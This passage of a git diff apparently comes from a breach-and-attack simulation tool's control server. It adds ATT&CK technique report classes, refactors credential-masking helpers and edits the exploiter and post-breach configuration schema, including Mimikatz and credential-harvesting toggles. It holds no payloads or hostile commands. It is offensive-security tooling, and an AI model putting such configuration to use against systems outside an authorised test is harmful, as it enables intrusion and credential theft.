                               'name': {'$literal': 'Azure info'}}
-                             ]}}]
+                             ]}},
+             {'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}},
+             {"$replaceRoot": {"newRoot": "$_id"}}]
 
     @staticmethod
     def get_report_data():
@@ -40,8 +42,8 @@ class T1082(AttackTechnique):
         system_info = list(mongo.db.telemetry.aggregate(T1082.query))
         data.update({'system_info': system_info})
         if system_info:
-            status = ScanStatus.USED
+            status = ScanStatus.USED.value
         else:
-            status = ScanStatus.UNSCANNED
+            status = ScanStatus.UNSCANNED.value
         data.update(T1082.get_message_and_status(status))
         return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
index 4114047c5..dd5d64d25 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
@@ -29,8 +29,8 @@ class T1086(AttackTechnique):
         cmd_data = list(mongo.db.telemetry.aggregate(T1086.query))
         data = {'title': T1086.technique_title(), 'cmds': cmd_data}
         if cmd_data:
-            status = ScanStatus.USED
+            status = ScanStatus.USED.value
         else:
-            status = ScanStatus.UNSCANNED
+            status = ScanStatus.UNSCANNED.value
         data.update(T1086.get_message_and_status(status))
         return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
new file mode 100644
index 000000000..7a6c830b8
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
@@ -0,0 +1,24 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.models import Monkey
+
+__author__ = "VakarisZ"
+
+
+class T1090(AttackTechnique):
+
+    tech_id = "T1090"
+    unscanned_msg = "Monkey didn't use connection proxy."
+    scanned_msg = ""
+    used_msg = "Monkey used connection proxy to communicate with machines on the network."
+
+    @staticmethod
+    def get_report_data():
+        monkeys = Monkey.get_tunneled_monkeys()
+        monkeys = [monkey.get_network_info() for monkey in monkeys]
+        status = ScanStatus.USED.value if monkeys else ScanStatus.UNSCANNED.value
+        data = T1090.get_base_data_by_status(status)
+        data.update({'proxies': monkeys})
+        return data
+
+
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
new file mode 100644
index 000000000..3d95fd88d
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
@@ -0,0 +1,27 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1105(AttackTechnique):
+
+    tech_id = "T1105"
+    unscanned_msg = "Monkey didn't try to copy files to any systems."
+    scanned_msg = "Monkey tried to copy files, but failed."
+    used_msg = "Monkey successfully copied files to systems on the network."
+
+    query = [{'$match': {'telem_category': 'attack',
+                         'data.technique': tech_id}},
+             {'$project': {'_id': 0,
+                           'src': '$data.src',
+                           'dst': '$data.dst',
+                           'filename': '$data.filename'}},
+             {'$group': {'_id': {'src': '$src', 'dst': '$dst', 'filename': '$filename'}}},
+             {"$replaceRoot": {"newRoot": "$_id"}}]
+
+    @staticmethod
+    def get_report_data():
+        data = T1105.get_tech_base_data()
+        data.update({'files': list(mongo.db.telemetry.aggregate(T1105.query))})
+        return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py
new file mode 100644
index 000000000..d07a66038
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py
@@ -0,0 +1,16 @@
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1106(UsageTechnique):
+    tech_id = "T1106"
+    unscanned_msg = "Monkey didn't try to directly use WinAPI."
+    scanned_msg = "Monkey tried to use WinAPI, but failed."
+    used_msg = "Monkey successfully used WinAPI."
+
+    @staticmethod
+    def get_report_data():
+        data = T1106.get_tech_base_data()
+        data.update({'api_uses': T1106.get_usage_data()})
+        return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py
new file mode 100644
index 000000000..9448c2e6b
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py
@@ -0,0 +1,32 @@
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1107(AttackTechnique):
+    tech_id = "T1107"
+    unscanned_msg = ""
+    scanned_msg = "Monkey tried to delete files on systems in the network, but failed."
+    used_msg = "Monkey successfully deleted files on systems in the network."
+
+    query = [{'$match': {'telem_category': 'attack',
+                         'data.technique': 'T1107'}},
+             {'$lookup': {'from': 'monkey',
+                          'localField': 'monkey_guid',
+                          'foreignField': 'guid',
+                          'as': 'monkey'}},
+             {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
+                           'status': '$data.status',
+                           'path': '$data.path'}},
+             {'$addFields': {'_id': 0,
+                             'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
+                             'monkey': 0}},
+             {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'path': '$path'}}}]
+
+    @staticmethod
+    def get_report_data():
+        data = T1107.get_tech_base_data()
+        deleted_files = list(mongo.db.telemetry.aggregate(T1107.query))
+        data.update({'deleted_files': deleted_files})
+        return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
index a9bd24e70..72bb0af76 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
@@ -1,7 +1,7 @@
 from monkey_island.cc.database import mongo
 from monkey_island.cc.services.attack.technique_reports import AttackTechnique
 from common.utils.attack_utils import ScanStatus
-from monkey_island.cc.encryptor import encryptor
+from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
 
 __author__ = "VakarisZ"
 
@@ -32,14 +32,14 @@ class T1110(AttackTechnique):
             result['successful_creds'] = []
             for attempt in result['attempts']:
                 succeeded = True
-                result['successful_creds'].append(T1110.parse_creds(attempt))
+                result['successful_creds'].append(parse_creds(attempt))
 
         if succeeded:
-            status = ScanStatus.USED
+            status = ScanStatus.USED.value
         elif attempts:
-            status = ScanStatus.SCANNED
+            status = ScanStatus.SCANNED.value
         else:
-            status = ScanStatus.UNSCANNED
+            status = ScanStatus.UNSCANNED.value
         data = T1110.get_base_data_by_status(status)
         # Remove data with no successful brute force attempts
         attempts = [attempt for attempt in attempts if attempt['attempts']]
@@ -47,47 +47,4 @@ class T1110(AttackTechnique):
         data.update({'services': attempts})
         return data
 
-    @staticmethod
-    def parse_creds(attempt):
-        """
-        Parses used credentials into a string
-        :param attempt: login attempt from database
-        :return: string with username and used password/hash
-        """
-        username = attempt['user']
-        creds = {'lm_hash': {'type': 'LM hash', 'output': T1110.censor_hash(attempt['lm_hash'])},
-                 'ntlm_hash': {'type': 'NTLM hash', 'output': T1110.censor_hash(attempt['ntlm_hash'], 20)},
-                 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
-                 'password': {'type': 'Plaintext password', 'output': T1110.censor_password(attempt['password'])}}
-        for key, cred in list(creds.items()):
-            if attempt[key]:
-                return '%s ; %s : %s' % (username,
-                                         cred['type'],
-                                         cred['output'])
 
-    @staticmethod
-    def censor_password(password, plain_chars=3, secret_chars=5):
-        """
-        Decrypts and obfuscates password by changing characters to *
-        :param password: Password or string to obfuscate
-        :param plain_chars: How many plain-text characters should be kept at the start of the string
-        :param secret_chars: How many * symbols should be used to hide the remainder of the password
-        :return: Obfuscated string e.g. Pass****
-        """
-        if not password:
-            return ""
-        password = encryptor.dec(password)
-        return password[0:plain_chars] + '*' * secret_chars
-
-    @staticmethod
-    def censor_hash(hash_, plain_chars=5):
-        """
-        Decrypts and obfuscates hash by only showing a part of it
-        :param hash_: Hash to obfuscate
-        :param plain_chars: How many chars of hash should be shown
-        :return: Obfuscated string
-        """
-        if not hash_:
-            return ""
-        hash_ = encryptor.dec(hash_)
-        return hash_[0: plain_chars] + ' ...'
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py
new file mode 100644
index 000000000..5f87faabb
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py
@@ -0,0 +1,16 @@
+from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1129(UsageTechnique):
+    tech_id = "T1129"
+    unscanned_msg = "Monkey didn't try to load any DLL's."
+    scanned_msg = "Monkey tried to load DLL's, but failed."
+    used_msg = "Monkey successfully loaded DLL's using Windows module loader."
+
+    @staticmethod
+    def get_report_data():
+        data = T1129.get_tech_base_data()
+        data.update({'dlls': T1129.get_usage_data()})
+        return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py
index 9b525873f..c4e5691ff 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py
@@ -12,7 +12,7 @@ class T1145(AttackTechnique):
     used_msg = "Monkey found ssh keys on machines in the network."
 
     # Gets data about ssh keys found
-    query = [{'$match': {'telem_category': 'system_info_collection',
+    query = [{'$match': {'telem_category': 'system_info',
                          'data.ssh_info': {'$elemMatch': {'private_key': {'$exists': True}}}}},
              {'$project': {'_id': 0,
                            'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
@@ -23,9 +23,9 @@ class T1145(AttackTechnique):
         ssh_info = list(mongo.db.telemetry.aggregate(T1145.query))
 
         if ssh_info:
-            status = ScanStatus.USED
+            status = ScanStatus.USED.value
         else:
-            status = ScanStatus.UNSCANNED
+            status = ScanStatus.UNSCANNED.value
         data = T1145.get_base_data_by_status(status)
         data.update({'ssh_info': ssh_info})
         return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
new file mode 100644
index 000000000..32187696a
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
@@ -0,0 +1,32 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.models.monkey import Monkey
+from common.utils.attack_utils import ScanStatus
+
+__author__ = "VakarisZ"
+
+
+class T1188(AttackTechnique):
+
+    tech_id = "T1188"
+    unscanned_msg = "Monkey didn't use multi-hop proxy."
+    scanned_msg = ""
+    used_msg = "Monkey used multi-hop proxy."
+
+    @staticmethod
+    def get_report_data():
+        monkeys = Monkey.get_tunneled_monkeys()
+        hops = []
+        for monkey in monkeys:
+            proxy_count = 0
+            proxy = initial = monkey
+            while proxy.tunnel:
+                proxy_count += 1
+                proxy = proxy.tunnel
+            if proxy_count > 1:
+                hops.append({'from': initial.get_network_info(),
+                             'to': proxy.get_network_info(),
+                             'count': proxy_count})
+        status = ScanStatus.USED.value if hops else ScanStatus.UNSCANNED.value
+        data = T1188.get_base_data_by_status(status)
+        data.update({'hops': hops})
+        return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
index 6e89bc6ab..eeae183f5 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
@@ -18,11 +18,11 @@ class T1210(AttackTechnique):
         scanned_services = T1210.get_scanned_services()
         exploited_services = T1210.get_exploited_services()
         if exploited_services:
-            status = ScanStatus.USED
+            status = ScanStatus.USED.value
         elif scanned_services:
-            status = ScanStatus.SCANNED
+            status = ScanStatus.SCANNED.value
         else:
-            status = ScanStatus.UNSCANNED
+            status = ScanStatus.UNSCANNED.value
         data.update(T1210.get_message_and_status(status))
         data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
         return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py
new file mode 100644
index 000000000..940c9e8ea
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py
@@ -0,0 +1,24 @@
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+
+__author__ = "VakarisZ"
+
+
+class T1222(AttackTechnique):
+    tech_id = "T1222"
+    unscanned_msg = "Monkey didn't try to change any file permissions."
+    scanned_msg = "Monkey tried to change file permissions, but failed."
+    used_msg = "Monkey successfully changed file permissions in network systems."
+
+    query = [{'$match': {'telem_category': 'attack',
+                         'data.technique': 'T1222',
+                         'data.status': ScanStatus.USED.value}},
+             {'$group': {'_id': {'machine': '$data.machine', 'status': '$data.status', 'command': '$data.command'}}},
+             {"$replaceRoot": {"newRoot": "$_id"}}]
+
+    @staticmethod
+    def get_report_data():
+        data = T1222.get_tech_base_data()
+        data.update({'commands': list(mongo.db.telemetry.aggregate(T1222.query))})
+        return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
index cc4d13355..b5f100bd1 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py
@@ -1,10 +1,13 @@
 import abc
+import logging
 
 from monkey_island.cc.database import mongo
 from common.utils.attack_utils import ScanStatus
 from monkey_island.cc.services.attack.attack_config import AttackConfig
 from common.utils.code_utils import abstractstatic
 
+logger = logging.getLogger(__name__)
+
 
 class AttackTechnique(object, metaclass=abc.ABCMeta):
     """ Abstract class for ATT&CK report components """
@@ -49,38 +52,38 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
     def technique_status(cls):
         """
         Gets the status of a certain attack technique.
-        :return: ScanStatus Enum object
+        :return: ScanStatus numeric value
         """
-        if mongo.db.attack_results.find_one({'telem_category': 'attack',
-                                             'status': ScanStatus.USED.value,
-                                             'technique': cls.tech_id}):
-            return ScanStatus.USED
-        elif mongo.db.attack_results.find_one({'telem_category': 'attack',
-                                               'status': ScanStatus.SCANNED.value,
-                                               'technique': cls.tech_id}):
-            return ScanStatus.SCANNED
+        if mongo.db.telemetry.find_one({'telem_category': 'attack',
+                                        'data.status': ScanStatus.USED.value,
+                                        'data.technique': cls.tech_id}):
+            return ScanStatus.USED.value
+        elif mongo.db.telemetry.find_one({'telem_category': 'attack',
+                                          'data.status': ScanStatus.SCANNED.value,
+                                          'data.technique': cls.tech_id}):
+            return ScanStatus.SCANNED.value
         else:
-            return ScanStatus.UNSCANNED
+            return ScanStatus.UNSCANNED.value
 
     @classmethod
     def get_message_and_status(cls, status):
         """
         Returns a dict with attack technique's message and status.
-        :param status: Enum type value from common/attack_utils.py
+        :param status: Enum from common/attack_utils.py integer value
         :return: Dict with message and status
         """
-        return {'message': cls.get_message_by_status(status), 'status': status.name}
+        return {'message': cls.get_message_by_status(status), 'status': status}
 
     @classmethod
     def get_message_by_status(cls, status):
         """
         Picks a message to return based on status.
-        :param status: Enum type value from common/attack_utils.py
+        :param status: Enum from common/attack_utils.py integer value
         :return: message string
         """
-        if status == ScanStatus.UNSCANNED:
+        if status == ScanStatus.UNSCANNED.value:
             return cls.unscanned_msg
-        elif status == ScanStatus.SCANNED:
+        elif status == ScanStatus.SCANNED.value:
             return cls.scanned_msg
         else:
             return cls.used_msg
@@ -96,12 +99,12 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
     def get_tech_base_data(cls):
         """
         Gathers basic attack technique data into a dict.
-        :return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'}
+        :return: dict E.g. {'message': 'Brute force used', 'status': 2, 'title': 'T1110 Brute force'}
         """
         data = {}
         status = cls.technique_status()
         title = cls.technique_title()
-        data.update({'status': status.name,
+        data.update({'status': status,
                      'title': title,
                      'message': cls.get_message_by_status(status)})
         return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py
new file mode 100644
index 000000000..05cef3684
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py
@@ -0,0 +1,46 @@
+from monkey_island.cc.encryptor import encryptor
+
+
+def parse_creds(attempt):
+    """
+    Parses used credentials into a string
+    :param attempt: login attempt from database
+    :return: string with username and used password/hash
+    """
+    username = attempt['user']
+    creds = {'lm_hash': {'type': 'LM hash', 'output': censor_hash(attempt['lm_hash'])},
+             'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)},
+             'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']},
+             'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}}
+    for key, cred in creds.items():
+        if attempt[key]:
+            return '%s ; %s : %s' % (username,
+                                     cred['type'],
+                                     cred['output'])
+
+
+def censor_password(password, plain_chars=3, secret_chars=5):
+    """
+    Decrypts and obfuscates password by changing characters to *
+    :param password: Password or string to obfuscate
+    :param plain_chars: How many plain-text characters should be kept at the start of the string
+    :param secret_chars: How many * symbols should be used to hide the remainder of the password
+    :return: Obfuscated string e.g. Pass****
+    """
+    if not password:
+        return ""
+    password = encryptor.dec(password)
+    return password[0:plain_chars] + '*' * secret_chars
+
+
+def censor_hash(hash_, plain_chars=5):
+    """
+    Decrypts and obfuscates hash by only showing a part of it
+    :param hash_: Hash to obfuscate
+    :param plain_chars: How many chars of hash should be shown
+    :return: Obfuscated string
+    """
+    if not hash_:
+        return ""
+    hash_ = encryptor.dec(hash_)
+    return hash_[0: plain_chars] + ' ...'
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py
new file mode 100644
index 000000000..69f178e1c
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py
@@ -0,0 +1,53 @@
+import abc
+
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique, logger
+from common.utils.attack_utils import UsageEnum
+
+
+class UsageTechnique(AttackTechnique):
+    __metaclass__ = abc.ABCMeta
+
+    @staticmethod
+    def parse_usages(usage):
+        """
+        Parses data from database and translates usage enums into strings
+        :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1}
+        :return: usage string
+        """
+        try:
+            usage['usage'] = UsageEnum[usage['usage']].value[usage['status']]
+        except KeyError:
+            logger.error("Error translating usage enum. into string. "
+                         "Check if usage enum field exists and covers all telem. statuses.")
+        return usage
+
+    @classmethod
+    def get_usage_data(cls):
+        """
+        Gets data of usage attack telemetries
+        :return: parsed list of usages from attack telemetries of usage type
+        """
+        data = list(mongo.db.telemetry.aggregate(cls.get_usage_query()))
+        return list(map(cls.parse_usages, data))
+
+    @classmethod
+    def get_usage_query(cls):
+        """
+        :return: Query that parses attack telemetries for a simple report component
+        (gets machines and attack technique usage).
+        """
+        return [{'$match': {'telem_category': 'attack',
+                            'data.technique': cls.tech_id}},
+                {'$lookup': {'from': 'monkey',
+                             'localField': 'monkey_guid',
+                             'foreignField': 'guid',
+                             'as': 'monkey'}},
+                {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
+                              'status': '$data.status',
+                              'usage': '$data.usage'}},
+                {'$addFields': {'_id': 0,
+                                'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
+                                'monkey': 0}},
+                {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}},
+                {"$replaceRoot": {"newRoot": "$_id"}}]
diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py
index 333c42263..621c9badf 100644
--- a/monkey/monkey_island/cc/services/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema.py
@@ -14,7 +14,7 @@ SCHEMA = {
                         "SmbExploiter"
                     ],
                     "title": "SMB Exploiter",
-                    "attack_techniques": ["T1110", "T1075"]
+                    "attack_techniques": ["T1110", "T1075", "T1035"]
                 },
                 {
                     "type": "string",
@@ -22,7 +22,7 @@ SCHEMA = {
                         "WmiExploiter"
                     ],
                     "title": "WMI Exploiter",
-                    "attack_techniques": ["T1110"]
+                    "attack_techniques": ["T1110", "T1106"]
                 },
                 {
                     "type": "string",
@@ -32,14 +32,6 @@ SCHEMA = {
                     "title": "MSSQL Exploiter",
                     "attack_techniques": ["T1110"]
                 },
-                {
-                    "type": "string",
-                    "enum": [
-                        "RdpExploiter"
-                    ],
-                    "title": "RDP Exploiter (UNSAFE)",
-                    "attack_techniques": []
-                },
                 {
                     "type": "string",
                     "enum": [
@@ -54,7 +46,7 @@ SCHEMA = {
                         "SSHExploiter"
                     ],
                     "title": "SSH Exploiter",
-                    "attack_techniques": ["T1110", "T1145"]
+                    "attack_techniques": ["T1110", "T1145", "T1106"]
                 },
                 {
                     "type": "string",
@@ -119,6 +111,14 @@ SCHEMA = {
                     "title": "Back door user",
                     "attack_techniques": []
                 },
+                {
+                    "type": "string",
+                    "enum": [
+                        "CommunicateAsNewUser"
+                    ],
+                    "title": "Communicate as new user",
+                    "attack_techniques": []
+                },
             ],
         },
         "finger_classes": {
@@ -337,6 +337,7 @@ SCHEMA = {
                                 "$ref": "#/definitions/post_breach_acts"
                             },
                             "default": [
+                                "CommunicateAsNewUser"
                             ],
                             "description": "List of actions the Monkey will run post breach"
                         },
@@ -414,7 +415,7 @@ SCHEMA = {
                             "title": "Harvest Azure Credentials",
                             "type": "boolean",
                             "default": True,
-                            "attack_techniques": ["T1003", "T1078"],
+                            "attack_techniques": ["T1003"],
                             "description":
                                 "Determine if the Monkey should try to harvest password credentials from Azure VMs"
                         },
@@ -422,14 +423,14 @@ SCHEMA = {
                             "title": "Collect system info",
                             "type": "boolean",
                             "default": True,
-                            "attack_techniques": ["T1082"],
+                            "attack_techniques": ["T1082", "T1005", "T1016"],
                             "description": "Determines whether to collect system info"
                         },
                         "should_use_mimikatz": {
                             "title": "Should use Mimikatz",
                             "type": "boolean",
                             "default": True,
-                            "attack_techniques": ["T1003", "T1078"],
+                            "attack_techniques": ["T1003"],
                             "description": "Determines whether to use Mimikatz"
                         },
                     }
@@ -791,19 +792,6 @@ SCHEMA = {
                         }
                     }
                 },
-                "rdp_grinder": {
-                    "title": "RDP grinder",
-                    "type": "object",
-                    "properties": {
-                        "rdp_use_vbs_download": {
-                            "title": "Use VBS download",
-                            "type": "boolean",
-                            "default": True,
-                            "description": "Determines whether to use VBS or BITS to download monkey to remote machine"
-                                           " (true=VBS, false=BITS)"
-                        }
-                    }
-                },
                 "sambacry": {
                     "title": "SambaCry",
                     "type": "object",
diff --git a/monkey/monkey_island/cc/services/configuration/__init__.py b/monkey/monkey_island/cc/services/configuration/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/services/configuration/utils.py b/monkey/monkey_island/cc/services/configuration/utils.py
new file mode 100644
index 000000000..34d6a9bb5
--- /dev/null
+++ b/monkey/monkey_island/cc/services/configuration/utils.py
@@ -0,0 +1,5 @@
+from monkey_island.cc.services.config import ConfigService
+
+
+def get_config_network_segments_as_subnet_groups():
+    return [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])]
diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py
index 9da76b358..2c75d7187 100644
--- a/monkey/monkey_island/cc/services/node.py
+++ b/monkey/monkey_island/cc/services/node.py
@@ -247,6 +247,12 @@ class NodeService:
                                {'$set': props_to_set},
                                upsert=False)
 
+    @staticmethod
+    def add_communication_info(monkey, info):
+        mongo.db.monkey.update({"guid": monkey["guid"]},
+                               {"$set": {'command_control_channel': info}},
+                               upsert=False)
+
     @staticmethod
     def get_monkey_island_monkey():
         ip_addresses = local_ip_addresses()
diff --git a/monkey/monkey_island/cc/services/reporting/__init__.py b/monkey/monkey_island/cc/services/reporting/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
similarity index 95%
rename from monkey/monkey_island/cc/resources/aws_exporter.py
rename to monkey/monkey_island/cc/services/reporting/aws_exporter.py
index 7e1f17c48..84940df56 100644
--- a/monkey/monkey_island/cc/resources/aws_exporter.py
+++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
@@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError
 
 from common.cloud.aws_instance import AwsInstance
 from monkey_island.cc.environment.environment import load_server_configuration_from_file
-from monkey_island.cc.resources.exporter import Exporter
+from monkey_island.cc.services.reporting.exporter import Exporter
 
 __authors__ = ['maor.rayzin', 'shay.nehmad']
 
@@ -58,7 +58,6 @@ class AWSExporter(Exporter):
             'wmi_password': AWSExporter._handle_wmi_password_issue,
             'wmi_pth': AWSExporter._handle_wmi_pth_issue,
             'ssh_key': AWSExporter._handle_ssh_key_issue,
-            'rdp': AWSExporter._handle_rdp_issue,
             'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue,
             'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue,
             'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue,
@@ -305,20 +304,6 @@ class AWSExporter(Exporter):
             instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
         )
 
-    @staticmethod
-    def _handle_rdp_issue(issue, instance_arn):
-
-        return AWSExporter._build_generic_finding(
-            severity=1,
-            title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
-            description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
-                issue['username']),
-            recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
-                machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
-            instance_arn=instance_arn,
-            instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
-        )
-
     @staticmethod
     def _handle_shared_passwords_domain_issue(issue, instance_arn):
 
diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/services/reporting/exporter.py
similarity index 100%
rename from monkey/monkey_island/cc/resources/exporter.py
rename to monkey/monkey_island/cc/services/reporting/exporter.py
diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py
similarity index 60%
rename from monkey/monkey_island/cc/exporter_init.py
rename to monkey/monkey_island/cc/services/reporting/exporter_init.py
index fdf26fe8f..bd4e82f3e 100644
--- a/monkey/monkey_island/cc/exporter_init.py
+++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py
@@ -1,16 +1,16 @@
 import logging
 
-from monkey_island.cc.report_exporter_manager import ReportExporterManager
-from monkey_island.cc.resources.aws_exporter import AWSExporter
+from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
+from monkey_island.cc.services.reporting.aws_exporter import AWSExporter
 from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
-
+from monkey_island.cc.environment.environment import env
 logger = logging.getLogger(__name__)
 
 
 def populate_exporter_list():
     manager = ReportExporterManager()
     RemoteRunAwsService.init()
-    if RemoteRunAwsService.is_running_on_aws():
+    if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()):
         manager.add_exporter_to_list(AWSExporter)
 
     if len(manager.get_exporters_list()) != 0:
diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py
similarity index 100%
rename from monkey/monkey_island/cc/services/pth_report.py
rename to monkey/monkey_island/cc/services/reporting/pth_report.py
diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/reporting/report.py
similarity index 95%
rename from monkey/monkey_island/cc/services/report.py
rename to monkey/monkey_island/cc/services/reporting/report.py
index e49e60d81..f00fbc22c 100644
--- a/monkey/monkey_island/cc/services/report.py
+++ b/monkey/monkey_island/cc/services/reporting/report.py
@@ -9,14 +9,16 @@ from enum import Enum
 
 from six import text_type
 
+from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
 from monkey_island.cc.database import mongo
 from monkey_island.cc.models import Monkey
-from monkey_island.cc.report_exporter_manager import ReportExporterManager
+from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
 from monkey_island.cc.services.config import ConfigService
+from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
 from monkey_island.cc.services.edge import EdgeService
 from monkey_island.cc.services.node import NodeService
 from monkey_island.cc.utils import local_ip_addresses, get_subnets
-from .pth_report import PTHReportService
+from monkey_island.cc.services.reporting.pth_report import PTHReportService
 from common.network.network_range import NetworkRange
 
 __author__ = "itay.mizeretz"
@@ -34,7 +36,6 @@ class ReportService:
             'SmbExploiter': 'SMB Exploiter',
             'WmiExploiter': 'WMI Exploiter',
             'SSHExploiter': 'SSH Exploiter',
-            'RdpExploiter': 'RDP Exploiter',
             'SambaCryExploiter': 'SambaCry Exploiter',
             'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
             'Ms08_067_Exploiter': 'Conficker Exploiter',
@@ -287,12 +288,6 @@ class ReportService:
             processed_exploit['type'] = 'ssh'
             return processed_exploit
 
-    @staticmethod
-    def process_rdp_exploit(exploit):
